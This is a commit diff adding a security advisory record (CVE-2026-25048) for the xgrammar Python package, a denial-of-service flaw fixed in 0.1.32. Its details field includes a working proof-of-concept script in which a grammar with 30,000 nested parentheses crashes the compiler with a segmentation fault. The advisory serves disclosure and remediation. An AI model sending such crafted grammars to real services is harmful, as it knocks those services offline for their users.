Skip to content

Commit 60d23c2

Browse files
1 parent cce864c commit 60d23c2

1 file changed

Lines changed: 64 additions & 0 deletions

File tree

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-7rgv-gqhr-fxg3",
4+
"modified": "2026-03-05T18:20:08Z",
5+
"published": "2026-03-05T18:20:08Z",
6+
"aliases": [
7+
"CVE-2026-25048"
8+
],
9+
"summary": "xgrammar vulnerable to DoS via multi-layer nesting",
10+
"details": "### Summary\n\nThe multi-level nested syntax caused a segmentation fault (core dump).\n\n\n### Details\n\nA trigger stack overflow or memory exhaustion was caused by constructing a malicious grammar rule containing 30,000 layers of nested parentheses.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"\nXGrammar - Math Expression Generation Example\n\"\"\"\n\nimport xgrammar as xgr\nimport torch\nfrom transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig\n\ns = '(' * 30000 + 'a'\ngrammar = f\"root ::= {s}\"\n\ndef main():\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n model_name = \"Qwen/Qwen2.5-0.5B-Instruct\"\n \n # Load model\n model = AutoModelForCausalLM.from_pretrained(\n model_name,\n torch_dtype=torch.float16 if device == \"cuda\" else torch.float32,\n device_map=device\n )\n tokenizer = AutoTokenizer.from_pretrained(model_name)\n config = AutoConfig.from_pretrained(model_name)\n \n # Math expression grammar\n math_grammar = grammar\n \n # Setup\n tokenizer_info = xgr.TokenizerInfo.from_huggingface(\n tokenizer,\n vocab_size=config.vocab_size\n )\n compiler = xgr.GrammarCompiler(tokenizer_info)\n compiled_grammar = compiler.compile_grammar(math_grammar)\n \n # Generate\n prompt = \"Math: \"\n inputs = tokenizer(prompt, return_tensors=\"pt\").to(device)\n \n xgr_processor = xgr.contrib.hf.LogitsProcessor(compiled_grammar)\n \n output_ids = model.generate(\n **inputs,\n max_new_tokens=50,\n logits_processor=[xgr_processor]\n )\n \n result = tokenizer.decode(\n output_ids[0][len(inputs.input_ids[0]):],\n skip_special_tokens=True\n )\n \n print(f\"Generated expression: {result}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n\n```\n> pip show xgrammar\nName: xgrammar\nVersion: 0.1.31\nSummary: Efficient, Flexible and Portable Structured Generation\nHome-page: \nAuthor: MLC Team\nAuthor-email: \nLicense: Apache 2.0\nLocation: /home/yuelinwang/.local/lib/python3.10/site-packages\nRequires: numpy, pydantic, torch, transformers, triton, typing-extensions\nRequired-by: \n\n> python3 1.py \n`torch_dtype` is deprecated! Use `dtype` instead!\nSegmentation fault (core dumped)\n```\n\n\n### Impact\n\nDoS",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "xgrammar"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.1.32"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.1.31"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-7rgv-gqhr-fxg3"
45+
},
46+
{
47+
"type": "PACKAGE",
48+
"url": "https://github.com/mlc-ai/xgrammar"
49+
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/mlc-ai/xgrammar/releases/tag/v0.1.32"
53+
}
54+
],
55+
"database_specific": {
56+
"cwe_ids": [
57+
"CWE-674"
58+
],
59+
"severity": "HIGH",
60+
"github_reviewed": true,
61+
"github_reviewed_at": "2026-03-05T18:20:08Z",
62+
"nvd_published_at": null
63+
}
64+
}

0 commit comments

Comments
 (0)